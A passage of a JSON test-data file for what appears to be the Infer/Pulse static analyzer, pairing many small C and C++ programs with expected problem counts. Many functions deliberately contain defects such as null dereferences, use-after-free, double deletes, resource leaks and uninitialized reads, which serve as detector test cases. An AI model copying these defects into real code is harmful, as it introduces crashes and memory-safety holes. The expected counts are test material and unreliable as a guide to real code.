__lock);\n#endif\n\nvoid FN_spinlock_double_lock_bad(pthread_spinlock_t* m) {\n pthread_spin_lock(m);\n pthread_spin_lock(m);\n}\n\nvoid FN_spinlock_double_lock_bad2() {\n pthread_spinlock_t m;\n FN_spinlock_double_lock_bad(&m);\n}\n" + }, + { + "testname": "recursion.c", + "testlanguage": "c", + "expected-problems": 22, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n/* note that the goal is flag the existence of recursive or mutually-recursive\n calls, not non-termination, so flagging a well-founded recursion is not\n considered a false positive */\n\nvoid trivial_recursive_bad() { trivial_recursive_bad(); }\n\nint factorial_bad(int x) {\n if (x > 0) {\n return x * factorial_bad(x - 1);\n } else {\n return 1;\n }\n}\n\nvoid mutual1_bad();\n\nvoid mutual3_bad() { mutual1_bad(); }\n\nvoid mutual2_bad() { mutual3_bad(); }\n\nvoid mutual1_bad() { mutual2_bad(); }\n\nint global;\n\n// should report MUTUAL_RECURSION not INFINITE_RECURSION\nvoid recursive_modify_global_ok(int x) {\n if (global > 0) {\n global--;\n recursive_modify_global_ok(x);\n }\n}\n\nvoid infinite_recursion_unchanged_global_bad(int x) {\n if (global > 0) {\n global = global;\n infinite_recursion_unchanged_global_bad(x);\n }\n}\n\nstruct data {\n int a;\n int b;\n};\n\n// TODO: detect some memory updates occured inside the memory reachable from\n// params\nvoid fp_recursion_on_field_ok(struct data* x) {\n if (x->a > 0) {\n x->a = x->a - 1;\n fp_recursion_on_field_ok(x);\n }\n}\n\nvoid set_fields(struct data* x, int a, int b) {\n x->b = b;\n x->a = a;\n}\n\nvoid recursion_on_fields_bad(struct data* x) {\n // materialize fields of x in the order \"a, b\" in the pre\n int a = x->a;\n int b = x->b;\n // trick pulse into writing the fields of x in the order \"b, a\" in the post\n set_fields(x, a, b);\n recursion_on_fields_bad(x);\n}\n\n#include \"recursion2.h\"\n\nvoid across_file_1() { across_file_2(); }\n" + }, + { + "testname": "recursion2.c", + "testlanguage": "c", + "expected-problems": 2, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nvoid across_file_1();\n\nvoid across_file_2() { across_file_1(); }\n" + }, + { + "testname": "resource_leak.c", + "testlanguage": "c", + "expected-problems": 18, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\nvoid fileNotClosed_bad() {\n int fd = open(\"hi.txt\", O_WRONLY | O_CREAT | O_TRUNC, 0600);\n if (fd != -1) {\n char buffer[256];\n write(fd, buffer, strlen(buffer));\n }\n}\n\nvoid fileClosed_ok() {\n int fd = open(\"hi.txt\", O_WRONLY | O_CREAT | O_TRUNC, 0600);\n if (fd != -1) {\n char buffer[256];\n write(fd, buffer, strlen(buffer));\n close(fd);\n }\n}\n\nFILE* handler;\n\nvoid fdopen_to_global_ok() {\n int fd = open(\"hi.txt\", O_WRONLY | O_CREAT | O_TRUNC, 0600);\n if (fd != -1) {\n handler = fdopen(fd, \"w\");\n fclose(handler);\n }\n}\n\nvoid gzdopen_to_global_ok() {\n int fd = open(\"hi.txt\", O_WRONLY | O_CREAT | O_TRUNC, 0600);\n if (fd != -1) {\n handler = gzdopen(fd, \"w\");\n fclose(handler);\n }\n}\n\nvoid socketNotClosed_bad() {\n int fd = socket(AF_LOCAL, SOCK_RAW, 0);\n if (fd != -1) {\n char buffer[256];\n write(fd, buffer, strlen(buffer));\n }\n}\n\nint socketClosed_ok() {\n int socketFD = socket(AF_LOCAL, SOCK_RAW, 0);\n if (socketFD == -1) {\n return -1;\n }\n\n int status;\n\n status = fcntl(socketFD, F_SETFL, O_NONBLOCK);\n if (status == -1) {\n close(socketFD);\n return -1;\n }\n\n int reuseaddr = 1;\n status = setsockopt(\n socketFD, SOL_SOCKET, SO_REUSEADDR, &reuseaddr, sizeof(reuseaddr));\n if (status == -1) {\n close(socketFD);\n return -1;\n }\n\n int nosigpipe = 1;\n status = setsockopt(\n socketFD, SOL_SOCKET, SO_REUSEADDR, &nosigpipe, sizeof(nosigpipe));\n if (status == -1) {\n close(socketFD);\n return -1;\n }\n\n return socketFD;\n}\n" + }, + { + "testname": "sentinel_attribute.c", + "testlanguage": "c", + "expected-problems": 14, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nextern int add_all_ints(int x, int y, int z, ...) __attribute__((sentinel));\n\nvoid valid_call_ok(int* a, int* b, int* c) {\n // fine\n int x = add_all_ints(0, 0, 0, a, b, c, NULL);\n}\n\nvoid FN_truncated_call_bad(void) {\n int a = 0, b = 1, c = 2, d = 3;\n int* p = NULL;\n\n // warning: p is NULL so only first argument sent to add_all_ints\n int x = add_all_ints(0, 0, 0, &a, p, &b, &c, &d, NULL);\n}\n" + }, + { + "testname": "setlocale.c", + "testlanguage": "c", + "expected-problems": 2, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nvoid FP_setlocale_null_impossible_ok() {\n if (setlocale(LC_ALL, NULL) == NULL) {\n // cannot happen\n int* p = NULL;\n *p = 42;\n }\n setlocale(LC_ALL, \"\");\n setlocale(LC_ALL, \"C\");\n}\n" + }, + { + "testname": "shift.c", + "testlanguage": "c", + "expected-problems": 14, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nint* return_depends_on_lshift(int x, int* p) {\n if (x < (1 << 7))\n return NULL;\n else\n return p;\n}\n\nint return_nonnull_deref1_ok() {\n int y = 0;\n return *return_depends_on_lshift(1000, &y);\n}\n\nint return_null_deref1_bad() {\n int y = 0;\n return *return_depends_on_lshift(0, &y);\n}\n\nint* return_depends_on_rshift(int x, int* p) {\n if (x < (4 >> 2))\n return NULL;\n else\n return p;\n}\n\nint return_nonnull_deref2_ok() {\n int y = 0;\n return *return_depends_on_rshift(2, &y);\n}\n\nint return_null_deref2_bad() {\n int y = 0;\n return *return_depends_on_rshift(0, &y);\n}\n" + }, + { + "testname": "sizeof.c", + "testlanguage": "c", + "expected-problems": 9, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nint sizeof_eval_ok(void) {\n int a = 4;\n int b = sizeof(a);\n char c[2];\n\n if (a % 4) { // 4 % 4 = 0\n int* p = NULL;\n *p = 42;\n }\n if (b % sizeof(a)) { // x % x = 0\n int* p = NULL;\n *p = 42;\n }\n if (sizeof(c) > 2) { // 2 > 2 is false\n int* p = NULL;\n *p = 42;\n }\n if ((sizeof(c) / sizeof(c[0])) != 2) { // (2 / 1) = 2\n int* p = NULL;\n *p = 42;\n }\n return 0;\n}\n" + }, + { + "testname": "specialization.c", + "testlanguage": "c", + "expected-problems": 32, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nint invoke(int (*f)(int), int i) { return (*f)(i); }\n\nint id(int i) { return i; }\n\nint add_one(int i) { return invoke(id, i) + 1; }\n\nint add_two(int i) {\n int one = invoke(id, 1);\n add_one(0);\n return invoke(add_one, i) + 1;\n}\n\n// recursion cycle\nint add_more_bad(int i) {\n if (i > 0) {\n return invoke(add_more_bad, i - 1) + 1;\n }\n return 0;\n}\n\nvoid test_invoke_ok() {\n if (add_one(0) != 1) {\n int* p = NULL;\n *p = 42;\n }\n}\n\nvoid test_invoke_bad() {\n if (add_one(0) == 1) {\n int* p = NULL;\n *p = 42;\n }\n}\n\nvoid test_recursive_invoke_ok() {\n if (add_two(0) + add_one(0) != 3) {\n int* p = NULL;\n *p = 42;\n }\n}\n\nvoid test_recursive_invoke_bad() {\n if (add_two(0) + add_one(0) == 3) {\n int* p = NULL;\n *p = 42;\n }\n}\n\n// recursion cycle involving alias specialization\nint two_pointers_recursion_bad(int* x, int* y, int i) {\n if (i > 0) {\n return *x + *y + two_pointers_recursion_bad(x, x, i - 1);\n }\n return 0;\n}\n\nvoid alias_recursion(int* z) { two_pointers_recursion_bad(z, z, 10); }\n\n// recursion cycle involving closure specialization\nvoid invoke_itself_bad(int (*f)(int), int i) {\n if (i > 0) {\n (*f)(i);\n invoke_itself_bad(f, i - 1);\n }\n}\n\nvoid specialize_invoke_itself_ok() { invoke_itself_bad(id, 10); }\n" + }, + { + "testname": "struct_values.c", + "testlanguage": "c", + "expected-problems": 8, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n\nstruct inlined {\n int x;\n int y;\n};\n\nstruct s {\n struct inlined i;\n int f;\n int g;\n};\n\n// the analysis should not accidentally expose the mutations to callees\nvoid changes_fields_locally(struct s a) {\n int u = a.i.x;\n a.f = 42;\n a.i.y = 15;\n}\n\nvoid struct_value_in_callee_ok() {\n struct s b = {{11, 22}, 33, 44};\n changes_fields_locally(b);\n if (b.i.x != 11 || b.i.y != 22 || b.f != 33 || b.g != 44) {\n int* p = NULL;\n *p = 42;\n }\n}\n" + }, + { + "testname": "taint_var_arg.c", + "testlanguage": "c", + "expected-problems": 6, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n\nint int_source();\n\nfloat float_source();\n\nvoid printf_source_bad1() { printf(\"Integers: %i %u \\n\", -3456, int_source()); }\n\nvoid printf_source_bad2() {\n printf(\"Some different radices: %d %x %o %#x %#o \\n\",\n 100,\n int_source(),\n 100,\n 100,\n 100);\n}\n\nvoid printf_source_bad3() {\n printf(\"floats: %4.2f %+.0e %E \\n\", 3.14159, 3.14159, float_source());\n}\n\nvoid printf_source_bad4() {\n printf(\"Preceding with zeros: %010d \\n\", int_source());\n}\n" + }, + { + "testname": "ternary.c", + "testlanguage": "c", + "expected-problems": 22, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nstruct data {\n int flag;\n};\n\nstatic struct data d;\n\nint ternary1_ok(int x) {\n struct data* p = x ? &d : 0;\n return (p && p->flag);\n}\n\nint ternary2_bad(int x) {\n struct data* p = x ? &d : 0;\n return p->flag && p; // NULL_DEREF\n}\n\nint ternary3_ok(int x) {\n struct data* p = x ? &d : 0;\n return !(p && p->flag); // OK\n}\n\nint ternary4_ok(int x) {\n struct data* p = x ? &d : 0;\n return !(p && p->flag); // OK\n}\n\nint ternary4_bad(int x) {\n struct data* p = x ? &d : 0;\n return !(p->flag && p); // NULL_DEREF\n}\n\nint ternary5_ok(int x) {\n struct data* p = x ? &d : 0;\n return !(p && p->flag); // OK\n}\n\nint ternary6_ok(int x) {\n struct data* p = x ? &d : 0;\n return !p || p->flag; // OK\n}\n\nint ternary7_bad(int x) {\n struct data* p = x ? &d : 0;\n return p || p->flag; // NULL_DEREF\n}\n\nint ternary8_ok(int x) {\n struct data* p = x ? &d : 0;\n return (!p || p->flag) && !(p && p->flag); // OK\n}\n\nint ternary9_ok(int x) {\n struct data* p = x ? &d : 0;\n return p && (p->flag || !(p->flag)); // OK\n}\n" + }, + { + "testname": "traces.c", + "testlanguage": "c", + "expected-problems": 11, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n#include \n\nvoid simple_deref() {\n int* p = NULL;\n int* q = p; // this line should not be part of the trace\n *p = 42;\n}\n\nvoid simple_deref_via_alias() {\n int* p = NULL;\n int* q = p;\n *q = 42;\n}\n\nvoid something_about_strings_latent(const uint16_t* utf16String,\n size_t utf16StringLen,\n uint8_t** utf8StringOut,\n size_t* utf8StringLenOut) {\n if (!utf16String || utf16StringLen < 0) {\n *utf8StringOut = NULL;\n return;\n }\n\n if (utf16StringLen == 0) {\n // forgot the null check here\n *utf8StringOut = (uint8_t*)malloc(1);\n **utf8StringOut = '\\0'; // the trace should be just the calling context +\n // malloc + this line\n *utf8StringLenOut = 0;\n return;\n }\n}\n\nvoid call_makes_null_deref_manifest_bad() {\n uint16_t utf16String;\n uint8_t* utf8String;\n size_t utf8StringLen;\n something_about_strings_latent(&utf16String, 0, &utf8String, &utf8StringLen);\n free(utf8String);\n}\n\nstruct list {\n struct list* next;\n int data;\n};\n\nvoid access_null_deref_bad() {\n struct list l = {NULL, 44};\n l.next->next = NULL;\n}\n\nvoid access_use_after_free_bad(struct list* l) {\n free(l->next);\n l->next->next = NULL;\n}\n" + }, + { + "testname": "transitive-access.c", + "testlanguage": "c", + "expected-problems": 3, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nvoid sink() {}\n\nvoid wrapper_ok() { sink(); }\n\nvoid source_bad() { wrapper_ok(); }\n" + }, + { + "testname": "uninit.c", + "testlanguage": "c", + "expected-problems": 111, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n#include \n\nint dereference_bad() {\n int* p;\n return *p;\n}\n\nvoid self_assign_bad() {\n int x;\n x = x;\n}\n\nvoid use_and_mayinit(int, int*);\n\nvoid call_to_use_and_mayinit_bad() {\n int x;\n use_and_mayinit(x, &x);\n}\n\nvoid malloc_good() {\n int* p = (int*)malloc(sizeof(int));\n if (p) {\n *p = 5;\n int x = *p;\n }\n free(p);\n}\n\nvoid malloc_bad() {\n int* p = (int*)malloc(sizeof(int));\n if (p) {\n int x = *p;\n }\n free(p);\n}\n\nvoid init_int_ref(int* p) { *p = 5; }\n\nvoid interprocedural_init_in_callee_good() {\n int x;\n init_int_ref(&x);\n int y = x;\n}\n\nvoid nop(int* p) {}\n\nvoid interprocedural_nop_in_callee_bad() {\n int x;\n nop(&x);\n int y = x;\n}\n\nvoid read_int_ref(int* p) { int x = *p; }\n\nvoid interprocedural_read_in_callee_bad() {\n int x;\n read_int_ref(&x);\n}\n\nint* uninit() { return (int*)malloc(sizeof(int)); }\n\nvoid interprocedural_uninit_in_callee_bad() {\n int* p = uninit();\n if (p) {\n int x = *p;\n }\n free(p);\n}\n\nstruct uninit_s {\n int f1;\n int f2;\n};\n\nvoid get_field_address_good() {\n struct uninit_s* s = (struct uninit_s*)malloc(2 * sizeof(int));\n if (s) {\n int* p = &s->f1;\n }\n free(s);\n}\n\nvoid init_f1(struct uninit_s* p) { p->f1 = 5; }\n\nvoid interprocedural_struct_good() {\n struct uninit_s s;\n init_f1(&s);\n int y = s.f1;\n}\n\nvoid interprocedural_struct_bad() {\n struct uninit_s s;\n init_f1(&s);\n int y = s.f2;\n}\n\nvoid malloc_array_good(int len) {\n char* o = (char*)malloc(len);\n if (o) {\n o[0] = 'a';\n char c = o[0];\n }\n free(o);\n}\n\nstruct uninit_s unknown_struct();\n\nstruct uninit_s unknown_wrapper() { return unknown_struct(); }\n\nvoid havoc_calling_unknown_struct_good() {\n struct uninit_s x = unknown_wrapper();\n int y = x.f1;\n}\n\nvoid malloc_array_bad_FN(int len) {\n char* o = (char*)malloc(len);\n if (o) {\n o[0] = 'a';\n char c = o[1];\n }\n free(o);\n}\n\nvoid local_array_good() {\n char o[10];\n o[0] = 'a';\n char c = o[0];\n}\n\nvoid local_array_bad_FN() {\n char o[10];\n o[0] = 'a';\n char c = o[1];\n}\n\nstruct uninit_nested {\n struct uninit_s g1;\n int g2;\n};\n\nvoid read_g1_f1(struct uninit_nested* x) { int y = x->g1.f1; }\n\nvoid nested_struct_good() {\n struct uninit_nested x;\n x.g1.f1 = 42;\n read_g1_f1(&x);\n}\n\nvoid nested_struct_bad() {\n struct uninit_nested x;\n x.g1.f2 = 42;\n read_g1_f1(&x);\n}\n\nvoid init_ptr_zero(int* ptr, int i) {\n if (i != 0) {\n *ptr = 42;\n } else {\n *(ptr + i) = 42;\n }\n}\n\nvoid call_init_ptr_zero_good() {\n int x;\n init_ptr_zero(&x, 0);\n int y = x;\n}\n\nint uninit_if_zero_bad(int a) {\n int x;\n if (a == 0) {\n int y = x + 1;\n int z = 4;\n return z;\n }\n return 10;\n}\n\nvoid uninit_interproc_manifest_bad() {\n int x = uninit_if_zero_bad(0);\n if (x == 4) {\n int* p = NULL;\n *p = 42; // NPE to test that uninit didn't terminate the symbolic execution\n }\n}\n\n// another interprocedural test\n\nvoid check_range(int range_var_valid, int* range_var) {\n if (range_var_valid) {\n *range_var = *range_var + 1;\n }\n\n assert(range_var_valid >= 0 && range_var_valid <= 1);\n}\n\nvoid check_range_wrapper(int range_var_valid, int* range_var) {\n check_range(range_var_valid, range_var);\n}\n\nvoid uninit_var_not_read_interproc_ok() {\n int range_var_valid = 0;\n int range_var;\n check_range_wrapper(range_var_valid, &range_var);\n}\n\nstruct uninit_s global_uninit_s1;\n\nstruct uninit_s global_uninit_s2;\n\nstruct uninit_s init_by_conditional_exp(int b) {\n return b ? global_uninit_s1 : global_uninit_s2;\n}\n\nint call_init_by_conditionaql_exp_ok(int b) {\n struct uninit_s x = init_by_conditional_exp(b);\n return x.f1;\n}\n\n/** testing passing structs by value */\n\nstruct my_pair {\n int x;\n int y;\n};\n\nstruct my_pair make_pair(int x, int y) {\n struct my_pair pair;\n pair.x = x;\n pair.y = y;\n return pair;\n}\n\nstruct my_pair twice(int n) { return make_pair(n, n); }\n\nint FP_build_struct_after_var_init_ok() {\n struct my_pair p;\n p = twice(42);\n return p.x + p.y;\n}\n\nint build_struct_during_var_init_ok() {\n struct my_pair p = twice(42);\n return p.x + p.y;\n}\n\nstruct my_pair init_only_x_bad(int x) {\n struct my_pair pair;\n pair.x = x;\n return pair;\n}\n\nint memset_init_ok() {\n struct my_pair pair;\n memset(&pair, '\\0', sizeof(struct my_pair));\n return pair.x + pair.y;\n}\n\nstruct my_pair* set_pair_to_zero(struct my_pair* pair) {\n return memset(pair, '\\0', sizeof(struct my_pair));\n}\n\nint memset_wrapper_init_ok() {\n struct my_pair pair;\n set_pair_to_zero(&pair);\n return pair.x + pair.y;\n}\n\nvoid memset_wrapper_value_bad(struct my_pair* pair) {\n set_pair_to_zero(pair);\n if (pair->x == 0 && pair->y == 0) {\n int* p = NULL;\n *p = 42;\n }\n}\n\n/** /testing passing structs by value */\n" + }, + { + "testname": "unsigned_values.c", + "testlanguage": "c", + "expected-problems": 30, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\n// integers\n\nunsigned int returnUnsigned();\n\nvoid FP_nonnegative_int_ok() {\n unsigned int x = returnUnsigned();\n if (x < 0) {\n // unreachable\n int* p = NULL;\n *p = 42;\n }\n}\n\nint returnSigned();\n\nvoid signed_int_bad() {\n int x = returnSigned();\n if (x < 0) {\n // reachable\n int* p = NULL;\n *p = 42;\n }\n}\n\n// pointers to integers\n\nunsigned int* returnUnsignedPointer();\n\nvoid FP_nonnegative_int_ptr_ok() {\n unsigned int* x = returnUnsignedPointer();\n if (*x < 0) {\n // unreachable\n int* p = NULL;\n *p = 42;\n }\n}\n\nint* returnSignedPointer();\n\nvoid signed_int_ptr_bad() {\n int* x = returnSigned();\n if (*x < 0) {\n // reachable\n int* p = NULL;\n *p = 42;\n }\n}\n\n// struct with integer fields\n\nstruct foo {\n unsigned int unsigned_int;\n int signed_int;\n};\n\nstruct foo* returnFoo();\n\nvoid FP_nonnegative_field_ok() {\n struct foo* x = returnFoo();\n if (x->unsigned_int < 0) {\n // unreachable\n int* p = NULL;\n *p = 42;\n }\n}\n\nvoid signed_field_bad() {\n struct foo* x = returnFoo();\n if (x->signed_int < 0) {\n // reachable\n int* p = NULL;\n *p = 42;\n }\n}\n\n// array of integers\n\nunsigned int* returnUnsignedArray();\n\nint FP_nonnegative_array_ok() {\n unsigned int* a = returnUnsignedArray();\n if (a[0] < 0) {\n // unreachable\n int* p = NULL;\n *p = 42;\n }\n}\n\nint* returnSignedArray();\n\nint signed_array_bad() {\n int* a = returnSignedArray();\n if (a[0] < 0) {\n // reachable\n int* p = NULL;\n *p = 42;\n }\n}\n" + }, + { + "testname": "var_arg.c", + "testlanguage": "c", + "expected-problems": 25, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n#include \n\nint sum(int n, ...) {\n va_list args;\n va_start(args, n);\n int sum = 0;\n for (int i = 0; i < n; i++) {\n sum += va_arg(args, int);\n }\n va_end(args);\n return sum;\n}\n\nvoid sum_one_then_npe_bad() {\n int one = sum(1, 1);\n int* p = NULL;\n *p = one;\n}\n\n// we run out of loop iterations before reaching 4\nvoid FN_sum_four_then_npe_bad() {\n int four = sum(4, 1, 1, 1, 1);\n int* p = NULL;\n *p = four;\n}\n\n// we run out of loop iterations before reaching 4\nvoid FN_sum_then_reachable_npe_bad() {\n int four = sum(4, 1, 1, 1, 1);\n if (four == 4) {\n int* p = NULL;\n *p = 42;\n }\n}\n\n// var_arg semantics not taken into account\nvoid FP_sum_then_unreachable_npe_ok() {\n int one = sum(1, 1);\n if (one == 4) {\n int* p = NULL;\n *p = 42;\n }\n}\n\nint unknown_sum(int n, ...);\n\nvoid unknown_sum_one_then_npe_bad() {\n int one = unknown_sum(1, 1);\n int* p = NULL;\n *p = one;\n}\n\nvoid unknown_sum_four_then_npe_bad() {\n int four = unknown_sum(4, 1, 1, 1, 1);\n int* p = NULL;\n *p = four;\n}\n" + }, + { + "testname": "aliasing.cpp", + "testlanguage": "c++", + "expected-problems": 28, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nvoid ifthenderef(bool b, int* x) {\n if (b) {\n *x = 42;\n }\n}\n\nvoid ifnotthenderef(bool b, int* x) {\n if (!b) {\n *x = 42;\n }\n}\n\nvoid call_ifthenderef_false_null_ok() { ifthenderef(false, nullptr); }\n\nvoid call_ifthenderef_true_null_bad() { ifthenderef(true, nullptr); }\n\nvoid call_ifnotthenderef_true_null_ok() { ifnotthenderef(true, nullptr); }\n\nvoid call_ifnotthenderef_false_null_bad() { ifnotthenderef(false, nullptr); }\n\n// should be FN given the current \"all allocated addresses are assumed\n// disjoint unless specified otherwise\" but we detect the bug because\n// we don't propagate pure equalities that we discover to the heap part\nvoid FN_alias_null_deref_latent(int* x, int* y) {\n *x = 32;\n *y = 52;\n if (x == y) {\n // here we have x|-> * x |-> which should be a contradiction\n int* p = nullptr;\n *p = 42;\n }\n}\n\nvoid diverge_if_alias_ok(int* x, int* y) {\n if (x == y) {\n for (;;)\n ;\n }\n}\n\nvoid diverge_before_null_deref_ok(int* x) {\n diverge_if_alias_ok(x, x);\n int* p = nullptr;\n *p = 42;\n}\n\n// this test makes more sense in an inter-procedural setting\n#pragma clang diagnostic push\n#pragma clang diagnostic ignored \"-Wtautological-pointer-compare\"\nvoid stack_addresses_are_not_null_ok() {\n int x;\n if (&x == nullptr) {\n int* p = nullptr;\n *p = 42;\n }\n}\n#pragma clang diagnostic pop\n\nvoid stack_addresses_are_distinct_ok() {\n int x;\n int y;\n if (&x == &y) {\n int* p = nullptr;\n *p = 42;\n }\n}\n\n// latent because of the condition \"x==0\" in the pre-condition\nvoid null_test_after_deref_latent_FN(int* x) {\n *x = 42; // filtered out latent error given that x is tested for null below\n if (x == nullptr) {\n int* p = nullptr;\n *p = 42; // should be ignored as we can never get there\n }\n}\n" + }, + { + "testname": "basics.cpp", + "testlanguage": "c++", + "expected-problems": 49, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n#include \n\nstruct Aggregate {\n int i;\n\n ~Aggregate() {}\n};\n\nvoid aggregate_reassign_ok() {\n const int len = 5;\n Aggregate arr[len];\n for (int i = 0; i < len; i++) {\n Aggregate s = {1};\n // assign with curly bracket syntax doesn't call constructor; need to\n // recognize that this is a reassignment anyway\n arr[0] = s; // shouldn't be flagged as a use-after-lifetime\n }\n}\n\nstruct AggregateWithConstructedField {\n std::string str;\n};\n\nvoid aggregate_reassign2_ok() {\n AggregateWithConstructedField arr[10];\n for (int i = 0; i < 10; i++) {\n // this is translated as string(&(a.str), \"hi\"). need to make sure this is\n // treated the same as initializing a\n AggregateWithConstructedField a{\"hi\"};\n arr[i] = a;\n }\n}\n\nstruct NestedAggregate {\n AggregateWithConstructedField a;\n};\n\nvoid aggregate_reassign3_ok() {\n NestedAggregate arr[10];\n for (int i = 0; i < 10; i++) {\n // this is translated as std::basic_string(&(a.str), \"hi\"). need to make\n // sure this is treated the same as initializing a\n NestedAggregate a{{\"hi\"}};\n arr[i] = a;\n }\n}\n\nint multiple_invalidations_branch_bad(int n, int* ptr) {\n if (n == 7) {\n delete ptr;\n } else {\n delete ptr;\n }\n return *ptr;\n}\n\nint multiple_invalidations_loop_bad(int n, int* ptr) {\n for (int i = 0; i < n; i++) {\n if (i == 7) {\n delete ptr;\n } else {\n delete ptr;\n }\n }\n return *ptr;\n}\n\nAggregate* pointer_arithmetic_ok(Aggregate* a) {\n a->~Aggregate();\n a++;\n return a;\n}\n\nvoid iterator_pointer_arithmetic_ok(std::vector v) {\n for (auto it = v.begin(); it != v.end(); ++it) {\n it->~Aggregate();\n }\n}\n\nstruct A {\n ~A();\n int f(int i) const;\n};\n\nconst A getA();\n\nint struct_inside_loop_ok(std::vector numbers) {\n int sum = 0;\n for (auto number : numbers) {\n A a = getA();\n sum += a.f(number);\n }\n return sum;\n}\n\nint struct_inside_loop_break_ok(std::vector numbers) {\n int sum = 0;\n for (auto number : numbers) {\n A a = getA();\n if (number < 0) {\n break;\n }\n sum += a.f(number);\n }\n return sum;\n}\n\nint struct_inside_loop_continue_ok(std::vector numbers) {\n int sum = 0;\n for (auto number : numbers) {\n A a = getA();\n if (number < 0) {\n continue;\n }\n sum += a.f(number);\n }\n return sum;\n}\n\nvoid return_from_inner_scope_ok(bool b) {\n {\n A a = getA();\n if (b) {\n return;\n }\n }\n}\n\nvoid return_inside_single_branch_if_in_loop_ok() {\n while (true) {\n if (true) {\n A a;\n return;\n }\n }\n}\n\nstruct UseAfterSelfDestruct {\n A a_;\n int x_;\n ~UseAfterSelfDestruct() {\n if (x_ == 0) {\n a_ = getA();\n }\n }\n\n void reset_ok() {\n this->~UseAfterSelfDestruct();\n x_ = a_.f(x_);\n }\n};\n\nvoid call_builtin_add_overflow_ok() {\n int res;\n __builtin_add_overflow(2, 3, &res);\n if (res == 42) {\n int* q = nullptr;\n *q = 42;\n }\n}\n\nvoid call_builtin_add_overflow_bad() {\n int res;\n __builtin_add_overflow(2, 3, &res);\n if (res == 5) {\n int* q = nullptr;\n *q = 42;\n }\n}\n\nvoid call_builtin_mul_overflow_ok() {\n int res;\n __builtin_mul_overflow(2, 3, &res);\n if (res == 42) {\n int* q = nullptr;\n *q = 42;\n }\n}\n\nvoid call_builtin_mul_overflow_bad() {\n int res;\n __builtin_mul_overflow(2, 3, &res);\n if (res == 6) {\n int* q = nullptr;\n *q = 42;\n }\n}\n\nvoid call_builtin_sub_overflow_ok() {\n int res;\n __builtin_sub_overflow(3, 2, &res);\n if (res == 42) {\n int* q = nullptr;\n *q = 42;\n }\n}\n\nvoid call_builtin_sub_overflow_bad() {\n int res;\n __builtin_sub_overflow(3, 2, &res);\n if (res == 1) {\n int* q = nullptr;\n *q = 42;\n }\n}\n" + }, + { + "testname": "basic_string.cpp", + "testlanguage": "c++", + "expected-problems": 8, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n\n// inspired by folly::Range\nstruct Range {\n const char *b_, *e_;\n\n Range(const std::string& str) : b_(str.data()), e_(b_ + str.size()) {}\n\n char operator[](size_t i) { return b_[i]; }\n};\n\nconst Range setLanguage(const std::string& s) {\n return s[0] == 'k' ? s.substr(0, 1) // cast to Range returns pointers\n // into stack-allocated temporary string\n : \"en\";\n}\n\nbool use_range_of_invalidated_temporary_string_bad(const std::string& str) {\n auto s = setLanguage(str);\n return s[0] == 'k';\n}\n\nvoid some_function(std::string s);\n\nint string_passed_as_param_ok() {\n std::string str = \"\";\n some_function(str);\n if (str.empty()) {\n return 0;\n }\n return 1;\n}\n\nvoid copy_string_bad() {\n std::string x = \"abc\";\n std::string y = x;\n if (y.length() == 3) {\n int* p = nullptr;\n *p = 42;\n }\n}\n\nvoid copy_string_ok() {\n std::string x = \"abc\";\n std::string y = x;\n if (y.length() != 3) {\n int* p = nullptr;\n *p = 42;\n }\n}\n" + }, + { + "testname": "call_lambdas.cpp", + "testlanguage": "c++", + "expected-problems": 62, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n#include 